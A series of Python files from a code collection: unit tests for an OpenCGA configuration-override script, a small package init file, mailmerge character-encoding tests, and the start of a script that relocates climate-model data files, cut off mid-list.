self.assertEqual(config["catalog"]["database"]["options"]["sslEnabled"], True) self.assertEqual(config["catalog"]["database"]["options"]["sslInvalidCertificatesAllowed"], True) self.assertEqual(config["catalog"]["database"]["options"]["authenticationDatabase"], "admin") self.assertEqual( config["catalog"]["searchEngine"]["hosts"][0], "test-catalog-search-host1" ) self.assertEqual( config["catalog"]["searchEngine"]["hosts"][1], "test-catalog-search-host2" ) self.assertEqual( config["catalog"]["searchEngine"]["user"], "test-catalog-search-user" ) self.assertEqual( config["catalog"]["searchEngine"]["password"], "test-catalog-search-password" ) self.assertEqual(config["analysis"]["execution"]["id"], "test-analysis-execution-mode") self.assertEqual(config["analysis"]["execution"]["maxConcurrentJobs"]["variant-index"], 25) self.assertEqual(client_config["rest"]["host"], "test-rest-host") self.assertEqual(client_config["grpc"]["host"], "test-grpc-host") def test_azure_batch_execution(self): res = subprocess.run( [ "python3", "../override_yaml.py", "--config-path", "./configuration.yml", "--client-config-path", "./client-configuration.yml", "--storage-config-path", "./storage-configuration.yml", "--search-hosts", "test-search-host1,test-search-host2", "--clinical-hosts", "test-clinical-host", "--catalog-database-hosts", "test-catalog-database-host1,test-catalog-database-host2,test-catalog-database-host3", "--catalog-database-user", "test-catalog-database-user", "--catalog-database-password", "test-catalog-database-password", "--catalog-search-hosts", "test-catalog-search-host1,test-catalog-search-host2", "--catalog-search-user", "test-catalog-search-user", "--catalog-search-password", "test-catalog-search-password", "--rest-host", "test-rest-host", "--grpc-host", "test-grpc-host", "--analysis-execution-mode", "AZURE", "--batch-account-name", "test-batch-account-name", "--batch-account-key", "test-batch-account-key", "--batch-endpoint", "test-batch-endpoint", "--batch-pool-id", "test-batch-pool-id", "--max-concurrent-jobs", "25", "--variant-default-engine","test-variant-default-engine", "--hadoop-ssh-dns", "test-hadoop-ssh-host", "--hadoop-ssh-user", "test-hadoop-ssh-user", "--hadoop-ssh-pass", "test-hadoop-ssh-password", "--hadoop-ssh-remote-opencga-home", "test-hadoop-ssh-remote-opencga-home", "--health-check-interval", "30" ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False, ) if res.returncode != 0: print("Error calling override_yaml.py:") print(res.stdout) sys.exit(1) configs = [] configsRaw = res.stdout.decode("utf-8").split("---") for config in configsRaw: configAsFile = StringIO(config) configs.append(yaml.safe_load(configAsFile)) storage_config = configs[0] config = configs[1] client_config = configs[2] self.assertEqual( config["analysis"]["execution"]["id"], "AZURE" ) self.assertEqual( config["analysis"]["execution"]["options"]["azure.batchAccount"], "test-batch-account-name" ) self.assertEqual( config["analysis"]["execution"]["options"]["azure.batchKey"], "test-batch-account-key" ) self.assertEqual( config["analysis"]["execution"]["options"]["azure.batchUri"], "test-batch-endpoint" ) self.assertEqual( config["analysis"]["execution"]["options"]["azure.batchPoolId"], "test-batch-pool-id" ) self.assertEqual(client_config["rest"]["host"], "test-rest-host") self.assertEqual(client_config["grpc"]["host"], "test-grpc-host") def test_kubernetes_execution(self): res = subprocess.run( [ "python3", "../override_yaml.py", "--config-path", "./configuration.yml", "--client-config-path", "./client-configuration.yml", "--storage-config-path", "./storage-configuration.yml", "--search-hosts", "test-search-host1,test-search-host2", "--clinical-hosts", "test-clinical-host", "--catalog-database-hosts", "test-catalog-database-host1,test-catalog-database-host2,test-catalog-database-host3", "--catalog-database-user", "test-catalog-database-user", "--catalog-database-password", "test-catalog-database-password", "--catalog-search-hosts", "test-catalog-search-host1,test-catalog-search-host2", "--catalog-search-user", "test-catalog-search-user", "--catalog-search-password", "test-catalog-search-password", "--rest-host", "test-rest-host", "--grpc-host", "test-grpc-host", "--analysis-execution-mode", "k8s", "--k8s-master-node","test-k8s-master-node", "--k8s-volumes-pvc-conf","my-pvc-conf", "--k8s-volumes-pvc-sessions","my-pvc-sessions", "--k8s-volumes-pvc-variants","my-pvc-variants", "--k8s-volumes-pvc-analysisconf","my-pvc-analysisconf", "--max-concurrent-jobs", "25", "--variant-default-engine","test-variant-default-engine", "--hadoop-ssh-dns", "test-hadoop-ssh-host", "--hadoop-ssh-user", "test-hadoop-ssh-user", "--hadoop-ssh-pass", "test-hadoop-ssh-password", "--hadoop-ssh-remote-opencga-home", "test-hadoop-ssh-remote-opencga-home", "--health-check-interval", "30" ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False, ) if res.returncode != 0: print("Error calling override_yaml.py:") print(res.stdout) sys.exit(1) configs = [] configsRaw = res.stdout.decode("utf-8").split("---") for config in configsRaw: configAsFile = StringIO(config) configs.append(yaml.safe_load(configAsFile)) storage_config = configs[0] config = configs[1] client_config = configs[2] self.assertEqual( config["analysis"]["scratchDir"], "/tmp/opencga_scratch" ) self.assertEqual( config["analysis"]["execution"]["id"], "k8s" ) self.assertEqual( config["analysis"]["execution"]["options"]["k8s.volumes"][0]["persistentVolumeClaim"]["claimName"], "my-pvc-conf" ) self.assertEqual( config["analysis"]["execution"]["options"]["k8s.volumes"][1]["persistentVolumeClaim"]["claimName"], "my-pvc-sessions" ) self.assertEqual( config["analysis"]["execution"]["options"]["k8s.volumes"][2]["persistentVolumeClaim"]["claimName"], "my-pvc-variants" ) self.assertEqual( config["analysis"]["execution"]["options"]["k8s.volumes"][3]["persistentVolumeClaim"]["claimName"], "my-pvc-analysisconf" ) self.assertEqual( config["analysis"]["execution"]["options"]["k8s.masterUrl"], "test-k8s-master-node" ) def test_cellbasedb_with_empty_hosts(self): res = subprocess.run( [ "python3", "../override_yaml.py", "--config-path", "./configuration.yml", "--client-config-path", "./client-configuration.yml", "--storage-config-path", "./storage-configuration.yml", "--search-hosts", "test-search-host1,test-search-host2", "--clinical-hosts", "test-clinical-host", "--catalog-database-hosts", "test-catalog-host", "--catalog-database-user", "test-catalog-database-user", "--catalog-database-password", "test-catalog-database-password", "--catalog-search-hosts", "test-catalog-search-host1,test-catalog-search-host2", "--catalog-search-user", "test-catalog-search-user", "--catalog-search-password", "test-catalog-search-password", "--rest-host", "test-rest-host", "--grpc-host", "test-grpc-host", "--analysis-execution-mode", "test-analysis-execution-mode", "--batch-account-name", "test-batch-account-name", "--batch-account-key", "test-batch-account-key", "--batch-endpoint", "test-batch-endpoint", "--batch-pool-id", "test-batch-pool-id", "--max-concurrent-jobs", "25", "--variant-default-engine", "test-variant-default-engine", "--hadoop-ssh-dns", "test-hadoop-ssh-host", "--hadoop-ssh-user", "test-hadoop-ssh-user", "--hadoop-ssh-pass", "test-hadoop-ssh-password", "--hadoop-ssh-remote-opencga-home", "test-hadoop-ssh-remote-opencga-home", "--health-check-interval", "30", ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False, ) if res.returncode != 0: print("Error calling override_yaml.py:") print(res.stdout) sys.exit(1) configs = [] configsRaw = res.stdout.decode("utf-8").split("---") for config in configsRaw: configAsFile = StringIO(config) configs.append(yaml.safe_load(configAsFile)) storage_config = configs[0] self.assertEqual( storage_config["variant"]["options"]["annotator"], "cellbase", ) def test_cellbasedb_with_no_db_hosts(self): res = subprocess.run( [ "python3", "../override_yaml.py", "--config-path", "./configuration.yml", "--client-config-path", "./client-configuration.yml", "--storage-config-path", "./storage-configuration.yml", "--search-hosts", "test-search-host1,test-search-host2", "--clinical-hosts", "test-clinical-host", "--catalog-database-hosts", "test-catalog-host", "--catalog-database-user", "test-catalog-database-user", "--catalog-database-password", "test-catalog-database-password", "--catalog-search-hosts", "test-catalog-search-host1,test-catalog-search-host2", "--catalog-search-user", "test-catalog-search-user", "--catalog-search-password", "test-catalog-search-password", "--rest-host", "test-rest-host", "--grpc-host", "test-grpc-host", "--analysis-execution-mode", "test-analysis-execution-mode", "--batch-account-name", "test-batch-account-name", "--batch-account-key", "test-batch-account-key", "--batch-endpoint", "test-batch-endpoint", "--batch-pool-id", "test-batch-pool-id", "--max-concurrent-jobs", "25", "--variant-default-engine", "test-variant-default-engine", "--hadoop-ssh-dns", "test-hadoop-ssh-host", "--hadoop-ssh-user", "test-hadoop-ssh-user", "--hadoop-ssh-pass", "test-hadoop-ssh-password", "--hadoop-ssh-remote-opencga-home", "test-hadoop-ssh-remote-opencga-home", "--health-check-interval", "30", ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False, ) if res.returncode != 0: print("Error calling override_yaml.py:") print(res.stdout) sys.exit(1) configs = [] configsRaw = res.stdout.decode("utf-8").split("---") for config in configsRaw: configAsFile = StringIO(config) configs.append(yaml.safe_load(configAsFile)) storage_config = configs[0] self.assertEqual( storage_config["variant"]["options"]["annotator"], "cellbase", ) def test_cellbase_rest_set(self): res = subprocess.run( [ "python3", "../override_yaml.py", "--cellbase-rest-url", "http://test-cellbase-server1:8080", "--config-path", "./configuration.yml", "--client-config-path", "./client-configuration.yml", "--storage-config-path", "./storage-configuration.yml", "--search-hosts", "test-search-host1,test-search-host2", "--clinical-hosts", "test-clinical-host", "--catalog-database-hosts", "test-catalog-host", "--catalog-database-user", "test-catalog-database-user", "--catalog-database-password", "test-catalog-database-password", "--catalog-search-hosts", "test-catalog-search-host1,test-catalog-search-host2", "--catalog-search-user", "test-catalog-search-user", "--catalog-search-password", "test-catalog-search-password", "--rest-host", "test-rest-host", "--grpc-host", "test-grpc-host", "--analysis-execution-mode", "test-analysis-execution-mode", "--batch-account-name", "test-batch-account-name", "--batch-account-key", "test-batch-account-key", "--batch-endpoint", "test-batch-endpoint", "--batch-pool-id", "test-batch-pool-id", "--max-concurrent-jobs", "25", "--variant-default-engine", "test-variant-default-engine", "--hadoop-ssh-dns", "test-hadoop-ssh-host", "--hadoop-ssh-user", "test-hadoop-ssh-user", "--hadoop-ssh-pass", "test-hadoop-ssh-password", "--hadoop-ssh-remote-opencga-home", "test-hadoop-ssh-remote-opencga-home", "--health-check-interval", "30", ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False, ) if res.returncode != 0: print("Error calling override_yaml.py:") print(res.stdout) sys.exit(1) configs = [] configsRaw = res.stdout.decode("utf-8").split("---") for config in configsRaw: configAsFile = StringIO(config) configs.append(yaml.safe_load(configAsFile)) storage_config = configs[0] self.assertEqual( storage_config["variant"]["options"]["annotator"], "cellbase", ) self.assertEqual( storage_config["cellbase"]["host"], "http://test-cellbase-server1:8080" ) def test_cellbase_rest_empty_set(self): res = subprocess.run( [ "python3", "../override_yaml.py", "--cellbase-rest-url", "", "--config-path", "./configuration.yml", "--client-config-path", "./client-configuration.yml", "--storage-config-path", "./storage-configuration.yml", "--search-hosts", "test-search-host1,test-search-host2", "--clinical-hosts", "test-clinical-host", "--catalog-database-hosts", "test-catalog-host", "--catalog-database-user", "test-catalog-database-user", "--catalog-database-password", "test-catalog-database-password", "--catalog-search-hosts", "test-catalog-search-host1,test-catalog-search-host2", "--catalog-search-user", "test-catalog-search-user", "--catalog-search-password", "test-catalog-search-password", "--rest-host", "test-rest-host", "--grpc-host", "test-grpc-host", "--analysis-execution-mode", "test-analysis-execution-mode", "--batch-account-name", "test-batch-account-name", "--batch-account-key", "test-batch-account-key", "--batch-endpoint", "test-batch-endpoint", "--batch-pool-id", "test-batch-pool-id", "--max-concurrent-jobs", "25", "--variant-default-engine", "test-variant-default-engine", "--hadoop-ssh-dns", "test-hadoop-ssh-host", "--hadoop-ssh-user", "test-hadoop-ssh-user", "--hadoop-ssh-pass", "test-hadoop-ssh-password", "--hadoop-ssh-remote-opencga-home", "test-hadoop-ssh-remote-opencga-home", "--health-check-interval", "30", ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False, ) if res.returncode != 0: print("Error calling override_yaml.py:") print(res.stdout) sys.exit(1) configs = [] configsRaw = res.stdout.decode("utf-8").split("---") for config in configsRaw: configAsFile = StringIO(config) configs.append(yaml.safe_load(configAsFile)) storage_config = configs[0] self.assertEqual( storage_config["variant"]["options"]["annotator"], "cellbase", ) self.assertEqual( storage_config["cellbase"]["host"], "https://ws.opencb.org/cellbase/", ) def test_cellbase_rest_not_set(self): res = subprocess.run( [ "python3", "../override_yaml.py", "--config-path", "./configuration.yml", "--client-config-path", "./client-configuration.yml", "--storage-config-path", "./storage-configuration.yml", "--search-hosts", "test-search-host1,test-search-host2", "--clinical-hosts", "test-clinical-host", "--catalog-database-hosts", "test-catalog-host", "--catalog-database-user", "test-catalog-database-user", "--catalog-database-password", "test-catalog-database-password", "--catalog-search-hosts", "test-catalog-search-host1,test-catalog-search-host2", "--catalog-search-user", "test-catalog-search-user", "--catalog-search-password", "test-catalog-search-password", "--rest-host", "test-rest-host", "--grpc-host", "test-grpc-host", "--analysis-execution-mode", "test-analysis-execution-mode", "--batch-account-name", "test-batch-account-name", "--batch-account-key", "test-batch-account-key", "--batch-endpoint", "test-batch-endpoint", "--batch-pool-id", "test-batch-pool-id", "--max-concurrent-jobs", "25", "--variant-default-engine", "test-variant-default-engine", "--hadoop-ssh-dns", "test-hadoop-ssh-host", "--hadoop-ssh-user", "test-hadoop-ssh-user", "--hadoop-ssh-pass", "test-hadoop-ssh-password", "--hadoop-ssh-remote-opencga-home", "test-hadoop-ssh-remote-opencga-home", "--health-check-interval", "30", ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False, ) if res.returncode != 0: print("Error calling override_yaml.py:") print(res.stdout) sys.exit(1) configs = [] configsRaw = res.stdout.decode("utf-8").split("---") for config in configsRaw: configAsFile = StringIO(config) configs.append(yaml.safe_load(configAsFile)) storage_config = configs[0] self.assertEqual( storage_config["variant"]["options"]["annotator"], "cellbase", ) self.assertEqual( storage_config["cellbase"]["host"], "https://ws.opencb.org/cellbase/", ) # TODO: Tests for k8s config if __name__ == "__main__": unittest.main()
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96c5b77f57fc07e706419be266dce25818115dac
272
py
Python
thad_roberts_model/__init__.py
lukaszp/thad-roberts-model
7fcdab69e34228321aa8b83215800ba75cf9ad55
[ "MIT" ]
null
null
null
thad_roberts_model/__init__.py
lukaszp/thad-roberts-model
7fcdab69e34228321aa8b83215800ba75cf9ad55
[ "MIT" ]
null
null
null
thad_roberts_model/__init__.py
lukaszp/thad-roberts-model
7fcdab69e34228321aa8b83215800ba75cf9ad55
[ "MIT" ]
null
null
null
import thad_roberts_model.measurement import thad_roberts_model.particles_masses import thad_roberts_model.thad_roberts_model from thad_roberts_model.measurement import * from thad_roberts_model.particles_masses import * from thad_roberts_model.thad_roberts_model import *
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96ccf8ea892432c411d077e414be0bfd248f2b43
13,808
py
Python
tests/test_template_message_encodings.py
thunderbirdtr/mailmerge
a47465a78bbb089f3e2f135e7aecaf5e12259e56
[ "MIT" ]
94
2016-03-17T18:04:55.000Z
2022-03-16T02:59:51.000Z
tests/test_template_message_encodings.py
thunderbirdtr/mailmerge
a47465a78bbb089f3e2f135e7aecaf5e12259e56
[ "MIT" ]
116
2016-11-07T16:54:24.000Z
2022-01-24T15:14:43.000Z
tests/test_template_message_encodings.py
thunderbirdtr/mailmerge
a47465a78bbb089f3e2f135e7aecaf5e12259e56
[ "MIT" ]
41
2016-06-06T16:51:40.000Z
2021-12-30T09:57:33.000Z
""" Tests for TemplateMessage with different encodings. Andrew DeOrio <awdeorio@umich.edu> """ import re import textwrap from mailmerge import TemplateMessage def test_utf8_template(tmp_path): """Verify UTF8 support in email template.""" template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: to@test.com SUBJECT: Testing mailmerge FROM: from@test.com From the Tagelied of Wolfram von Eschenbach (Middle High German): Sîne klâwen durh die wolken sint geslagen, er stîget ûf mit grôzer kraft, ich sih in grâwen tägelîch als er wil tagen, den tac, der im geselleschaft erwenden wil, dem werden man, den ich mit sorgen în verliez. ich bringe in hinnen, ob ich kan. sîn vil manegiu tugent michz leisten hiez. http://www.columbia.edu/~fdc/utf8/ """)) template_message = TemplateMessage(template_path) sender, recipients, message = template_message.render({ "email": "myself@mydomain.com", }) # Verify encoding assert message.get_content_maintype() == "text" assert message.get_content_subtype() == "plain" assert message.get_content_charset() == "utf-8" # Verify sender and recipients assert sender == "from@test.com" assert recipients == ["to@test.com"] # Verify content plaintext = message.get_payload(decode=True).decode("utf-8") assert plaintext == textwrap.dedent("""\ From the Tagelied of Wolfram von Eschenbach (Middle High German): Sîne klâwen durh die wolken sint geslagen, er stîget ûf mit grôzer kraft, ich sih in grâwen tägelîch als er wil tagen, den tac, der im geselleschaft erwenden wil, dem werden man, den ich mit sorgen în verliez. ich bringe in hinnen, ob ich kan. sîn vil manegiu tugent michz leisten hiez. http://www.columbia.edu/~fdc/utf8/""") def test_utf8_database(tmp_path): """Verify UTF8 support when template is rendered with UTF-8 value.""" # Simple template template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: to@test.com FROM: from@test.com Hi {{name}} """)) # Render template with context containing unicode characters template_message = TemplateMessage(template_path) sender, recipients, message = template_message.render({ "name": "Laȝamon", }) # Verify sender and recipients assert sender == "from@test.com" assert recipients == ["to@test.com"] # Verify message encoding. The template was ASCII, but when the template # is rendered with UTF-8 data, the result is UTF-8 encoding. assert message.get_content_maintype() == "text" assert message.get_content_subtype() == "plain" assert message.get_content_charset() == "utf-8" # Verify content plaintext = message.get_payload(decode=True).decode("utf-8") assert plaintext == "Hi Laȝamon" def test_utf8_to(tmp_path): """Verify UTF8 support in TO field.""" template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: Laȝamon <to@test.com> FROM: from@test.com {{message}} """)) template_message = TemplateMessage(template_path) _, recipients, message = template_message.render({ "message": "hello", }) # Verify recipient name and email assert recipients == ["to@test.com"] assert message["to"] == "Laȝamon <to@test.com>" def test_utf8_from(tmp_path): """Verify UTF8 support in FROM field.""" template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: to@test.com FROM: Laȝamon <from@test.com> {{message}} """)) template_message = TemplateMessage(template_path) sender, _, message = template_message.render({ "message": "hello", }) # Verify sender name and email assert sender == "Laȝamon <from@test.com>" assert message["from"] == "Laȝamon <from@test.com>" def test_utf8_subject(tmp_path): """Verify UTF8 support in SUBJECT field.""" template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: to@test.com FROM: from@test.com SUBJECT: Laȝamon {{message}} """)) template_message = TemplateMessage(template_path) _, _, message = template_message.render({ "message": "hello", }) # Verify subject assert message["subject"] == "Laȝamon" def test_emoji(tmp_path): """Verify emoji are encoded.""" template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: test@test.com SUBJECT: Testing mailmerge FROM: test@test.com Hi 😀 """)) # grinning face emoji template_message = TemplateMessage(template_path) _, _, message = template_message.render({}) # Verify encoding assert message.get_charset() == "utf-8" assert message["Content-Transfer-Encoding"] == "base64" # Verify content plaintext = message.get_payload(decode=True).decode("utf-8") assert plaintext == "Hi 😀" def test_emoji_markdown(tmp_path): """Verify emoji are encoded in Markdown formatted messages.""" template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: test@example.com SUBJECT: Testing mailmerge FROM: test@example.com CONTENT-TYPE: text/markdown ``` emoji_string = 😀 ``` """)) # grinning face emoji template_message = TemplateMessage(template_path) _, _, message = template_message.render({}) # Message should contain an unrendered Markdown plaintext part and a # rendered Markdown HTML part message_payload = message.get_payload()[0] plaintext_part, html_part = message_payload.get_payload() # Verify encodings assert str(plaintext_part.get_charset()) == "utf-8" assert str(html_part.get_charset()) == "utf-8" assert plaintext_part["Content-Transfer-Encoding"] == "base64" assert html_part["Content-Transfer-Encoding"] == "base64" # Verify content, which is base64 encoded grinning face emoji plaintext = plaintext_part.get_payload(decode=True).decode("utf-8") htmltext = html_part.get_payload(decode=True).decode("utf-8") assert plaintext == '```\nemoji_string = \U0001f600\n```' assert htmltext == ( "<html><body><p><code>" "emoji_string = \U0001f600" "</code></p></body></html>" ) def test_emoji_database(tmp_path): """Verify emoji are encoded when they are substituted via template db. The template is ASCII encoded, but after rendering the template, an emoji character will substituted into the template. The result should be a utf-8 encoded message. """ template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: test@test.com SUBJECT: Testing mailmerge FROM: test@test.com Hi {{emoji}} """)) template_message = TemplateMessage(template_path) _, _, message = template_message.render({ "emoji": "😀" # grinning face }) # Verify encoding assert message.get_charset() == "utf-8" assert message["Content-Transfer-Encoding"] == "base64" # Verify content plaintext = message.get_payload(decode=True).decode("utf-8") assert plaintext == "Hi 😀" def test_encoding_us_ascii(tmp_path): """Render a simple template with us-ascii encoding.""" template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: to@test.com FROM: from@test.com Hello world """)) template_message = TemplateMessage(template_path) _, _, message = template_message.render({}) assert message.get_charset() == "us-ascii" assert message.get_content_charset() == "us-ascii" assert message.get_payload() == "Hello world" def test_encoding_utf8(tmp_path): """Render a simple template with UTF-8 encoding.""" template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: to@test.com FROM: from@test.com Hello Laȝamon """)) template_message = TemplateMessage(template_path) _, _, message = template_message.render({}) assert message.get_charset() == "utf-8" assert message.get_content_charset() == "utf-8" plaintext = message.get_payload(decode=True).decode("utf-8") assert plaintext == "Hello Laȝamon" def test_encoding_is8859_1(tmp_path): """Render a simple template with IS8859-1 encoding. Mailmerge will coerce the encoding to UTF-8. """ template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: to@test.com FROM: from@test.com Hello L'Haÿ-les-Roses """)) template_message = TemplateMessage(template_path) _, _, message = template_message.render({}) assert message.get_charset() == "utf-8" assert message.get_content_charset() == "utf-8" plaintext = message.get_payload(decode=True).decode("utf-8") assert plaintext == "Hello L'Haÿ-les-Roses" def test_encoding_mismatch(tmp_path): """Render a simple template that lies about its encoding. Header says us-ascii, but it contains utf-8. """ template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: to@test.com FROM: from@test.com Content-Type: text/plain; charset="us-ascii" Hello Laȝamon """)) template_message = TemplateMessage(template_path) _, _, message = template_message.render({}) assert message.get_charset() == "utf-8" assert message.get_content_charset() == "utf-8" plaintext = message.get_payload(decode=True).decode("utf-8") assert plaintext == "Hello Laȝamon" def test_encoding_multipart(tmp_path): """Render a utf-8 template with multipart encoding.""" template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: to@test.com FROM: from@test.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="boundary" This is a MIME-encoded message. If you are seeing this, your mail reader is old. --boundary Content-Type: text/plain; charset=utf-8 Hello Laȝamon --boundary Content-Type: text/html; charset=utf-8 <html> <body> <p>Hello Laȝamon</p> </body> </html> """)) template_message = TemplateMessage(template_path) sender, recipients, message = template_message.render({}) # Verify sender and recipients assert sender == "from@test.com" assert recipients == ["to@test.com"] # Should be multipart: plaintext and HTML assert message.is_multipart() parts = message.get_payload() assert len(parts) == 2 plaintext_part, html_part = parts # Verify plaintext part assert plaintext_part.get_charset() == "utf-8" assert plaintext_part.get_content_charset() == "utf-8" assert plaintext_part.get_content_type() == "text/plain" plaintext = plaintext_part.get_payload(decode=True).decode("utf-8") plaintext = plaintext.strip() assert plaintext == "Hello Laȝamon" # Verify html part assert html_part.get_charset() == "utf-8" assert html_part.get_content_charset() == "utf-8" assert html_part.get_content_type() == "text/html" htmltext = html_part.get_payload(decode=True).decode("utf-8") htmltext = re.sub(r"\s+", "", htmltext) # Strip whitespace assert htmltext == "<html><body><p>HelloLaȝamon</p></body></html>" def test_encoding_multipart_mismatch(tmp_path): """Render a utf-8 template with multipart encoding and wrong headers. Content-Type headers say "us-ascii", but the message contains utf-8. """ template_path = tmp_path / "template.txt" template_path.write_text(textwrap.dedent("""\ TO: to@test.com FROM: from@test.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="boundary" This is a MIME-encoded message. If you are seeing this, your mail reader is old. --boundary Content-Type: text/plain; charset=us-ascii Hello Laȝamon --boundary Content-Type: text/html; charset=us-ascii <html> <body> <p>Hello Laȝamon</p> </body> </html> """)) template_message = TemplateMessage(template_path) sender, recipients, message = template_message.render({}) # Verify sender and recipients assert sender == "from@test.com" assert recipients == ["to@test.com"] # Should be multipart: plaintext and HTML assert message.is_multipart() parts = message.get_payload() assert len(parts) == 2 plaintext_part, html_part = parts # Verify plaintext part assert plaintext_part.get_charset() == "utf-8" assert plaintext_part.get_content_charset() == "utf-8" assert plaintext_part.get_content_type() == "text/plain" plaintext = plaintext_part.get_payload(decode=True).decode("utf-8") plaintext = plaintext.strip() assert plaintext == "Hello Laȝamon" # Verify html part assert html_part.get_charset() == "utf-8" assert html_part.get_content_charset() == "utf-8" assert html_part.get_content_type() == "text/html" htmltext = html_part.get_payload(decode=True).decode("utf-8") htmltext = re.sub(r"\s+", "", htmltext) # Strip whitespace assert htmltext == "<html><body><p>HelloLaȝamon</p></body></html>"
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8b0514fa0cdcb7f0a0b23606b8d09e03564e297d
116,622
py
Python
scripts/update_dreqs/update_dreqs_0004.py
jonseddon/primavera-dmt
1239044e37f070b925a3d06db68351f285df780c
[ "BSD-3-Clause" ]
null
null
null
scripts/update_dreqs/update_dreqs_0004.py
jonseddon/primavera-dmt
1239044e37f070b925a3d06db68351f285df780c
[ "BSD-3-Clause" ]
49
2018-11-14T17:00:03.000Z
2021-12-20T11:04:22.000Z
scripts/update_dreqs/update_dreqs_0004.py
jonseddon/primavera-dmt
1239044e37f070b925a3d06db68351f285df780c
[ "BSD-3-Clause" ]
2
2018-07-04T10:58:43.000Z
2018-09-29T14:55:08.000Z
#!/usr/bin/env python2.7 """ update_dreqs_0004.py This file moves files that don't have a variable request out of the submission directory and intoa spare directory for CNRM_CERFACS for the CNRM-CM6-1-HR model for the highresSST-present experiment for the v20170518_1970 submission. """ import argparse import logging.config import os import shutil import sys __version__ = '0.1.0b1' DEFAULT_LOG_LEVEL = logging.WARNING DEFAULT_LOG_FORMAT = '%(levelname)s: %(message)s' logger = logging.getLogger(__name__) def parse_args(): """ Parse command-line arguments """ parser = argparse.ArgumentParser(description='Fix a data submission') parser.add_argument('-l', '--log-level', help='set logging level to one of ' 'debug, info, warn (the default), or error') parser.add_argument('--version', action='version', version='%(prog)s {}'.format(__version__)) args = parser.parse_args() return args def main(args): """ Main entry point This list was constructed at the prompt: cat ~/lotus/3407487.o | grep 'WARNING: File failed validation. ' \ 'No variable request found for file' > ~/lotus/no_vr.txt And then the Python all_files = list_files('/group_workspaces/jasmin2/primavera4/upload/' 'CNRM-CERFACS/CNRM-CM6-1-HR/incoming/' 'v20170518_1950') partial_paths = [] with open('no_vr.txt', 'r') as fh: for line in fh: fn = line.split(' ')[-1][:-2] matching = filter(lambda x: fn in x, all_files) for path in matching: partial_paths.append('/'.join(path.split('/')[-2:])) with open('partial_list.txt', 'w') as foh: foh.write('[\n') for line in partial_paths: foh.write("'{}',\n".format(line)) foh.write(']\n') partial_list.txt was then copied and pasted into the variable files_to_move below """ base_input_dir = ('/group_workspaces/jasmin2/primavera4/upload/' 'CNRM-CERFACS/CNRM-CM6-1-HR/incoming') dest_dir = ('/group_workspaces/jasmin2/primavera4/upload/' 'CNRM-CERFACS-additional/CNRM-CM6-1-HR/incoming/v20170622_1970') # if using a modern IDE the next variable assignment might want to be # rolled up/hidden as it's longer than ideal files_to_move = [ 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197202010000-197202292359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197203010000-197203312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197207010000-197207312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197208010000-197208312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197211010000-197211302359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197212010000-197212312359.nc', 'v20170518_1970/psl_E3hr_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197202010000-197202292359.nc', 'v20170518_1970/psl_E3hr_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197203010000-197203312359.nc', 'v20170518_1970/psl_E3hr_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197205010000-197205312359.nc', 'v20170518_1970/psl_E3hr_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197206010000-197206302359.nc', 'v20170518_1970/psl_E3hr_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197207010000-197207312359.nc', 'v20170518_1970/psl_E3hr_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197208010000-197208312359.nc', 'v20170518_1970/psl_E3hr_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197210010000-197210312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197001010000-197001312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197002010000-197002282359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197003010000-197003312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197004010000-197004302359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197005010000-197005312359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197006010000-197006302359.nc', 'v20170518_1970/hus4_6hrPlev_CNRM-CM6-1-HR_highresSST-present_r1i1p1f1_gn_197007010000-197007312359.nc', 